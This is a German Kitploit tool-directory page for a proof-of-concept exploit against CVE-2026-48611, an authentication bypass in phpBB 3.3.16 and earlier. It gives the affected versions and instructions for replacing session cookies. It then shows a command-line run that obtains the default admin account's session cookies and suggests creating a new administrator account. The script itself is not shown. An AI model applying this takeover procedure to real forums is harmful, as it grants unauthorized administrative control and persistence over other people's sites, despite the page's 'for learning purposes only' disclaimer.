Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-48611-phpBB — Bypass Authentication | Kitploit
Tools/GitHubGitHub/wanmywan/cve-2026-48611-phpbb
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubwanmywan/cve-2026-48611-phpbb

CVE-2026-48611-phpBB

Bypass Authentication

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-48611-phpBB

Authentifizierung umgehen

Einfacher POC zum Umgehen der Authentifizierung. Wenn du über den Browser darauf zugreifen möchtest, vergiss nicht, die USER_AGENT-Variable im Skript entsprechend dem in deinem Browser angezeigten Wert zu ändern, damit es funktioniert. Verwende einen Cookie-Editor, um die Werte *_sid und *_u zu ersetzen.

Betroffen: phpBB 3.3.16 und darunter + 4.0.0-a2

root@kitploit:~
phpbb  python3 exploit.py https://localhost:8000 joushk
[+] Target:  https://localhost:8000
[+] Target username: joushk
[+] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36

[+] Session cookies obtained:
    phpbb3_cl7ge_u: 2
    phpbb3_cl7ge_k: 
    phpbb3_cl7ge_sid: 4823a1ffeea59187eb31be1809ec0fd3
[+] User ID: 2
[!] User ID is 2 – default admin account.

[!] EXPLOIT SUCCESSFUL!
[!] You now have admin access.
[!] Note: ACP may still ask for password if re-authentication is enabled.
[+] tips: new create user and add to administrator group using bypass account auth and login to ACP Successd

[!!!Dieses Skript dient nur zu Lernzwecken]

Tool herunterladen